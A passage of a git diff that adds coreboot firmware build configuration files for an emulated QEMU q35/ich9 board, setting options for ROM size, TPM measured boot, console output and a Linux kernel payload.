CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="emulation/qemu-q35" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Emulation" +CONFIG_CBFS_SIZE=0x980000 +# CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=4 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set +# CONFIG_POST_IO is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x2c +# CONFIG_CHROMEOS is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +# CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set +# CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set +# CONFIG_BOARD_EMULATION_QEMU_X86_I440FX is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER8 is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER9 is not set +CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0x10000 +CONFIG_DCACHE_RAM_SIZE=0x90000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 +# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +CONFIG_PCIEXP_HOTPLUG_BUSES=32 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="console=ttyS0,115200 console=tty quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +CONFIG_COREBOOT_ROMSIZE_KB_10240=y +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=10240 +CONFIG_ROM_SIZE=0x00a00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_QEMU_X86=y +# CONFIG_CPU_QEMU_X86_NO_SMM is not set +CONFIG_CPU_QEMU_X86_ASEG_SMM=y +# CONFIG_CPU_QEMU_X86_TSEG_SMM is not set +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_UNKNOWN_TSC_RATE=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_ASEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_SOUTHBRIDGE_INTEL_I82801IX=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_MAINBOARD_HAS_CHROMEOS=y + +# +# ChromeOS +# +# end of ChromeOS + +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x100000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set +CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +# CONFIG_USBDEBUG is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1280 +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=720 +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_VGA=y +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_DRIVERS_MTK_WIFI is not set +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +# CONFIG_TPM2 is not set +CONFIG_TPM=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +CONFIG_CONSOLE_QEMU_DEBUGCON=y +CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_DECOMPRESS_OFAST=y +CONFIG_PROBE_RAM=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-qemu-tpm2-prod.config b/config/coreboot-qemu-tpm2-prod.config new file mode 100644 index 000000000..4baf458b8 --- /dev/null +++ b/config/coreboot-qemu-tpm2-prod.config @@ -0,0 +1,555 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +CONFIG_CCACHE=y +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +# CONFIG_INCLUDE_CONFIG_FILE is not set +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +CONFIG_NO_STAGE_CACHE=y +# CONFIG_CBMEM_STAGE_CACHE is not set +# CONFIG_UPDATE_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="emulation/qemu-q35" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Emulation" +CONFIG_CBFS_SIZE=0xfe0000 +# CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=4 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set +# CONFIG_POST_IO is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x2c +# CONFIG_CHROMEOS is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +# CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set +# CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set +# CONFIG_BOARD_EMULATION_QEMU_X86_I440FX is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER8 is not set +# CONFIG_BOARD_EMULATION_QEMU_POWER9 is not set +CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set +# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0x10000 +CONFIG_DCACHE_RAM_SIZE=0x90000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 +# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="console=ttyS0,115200 console=tty quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 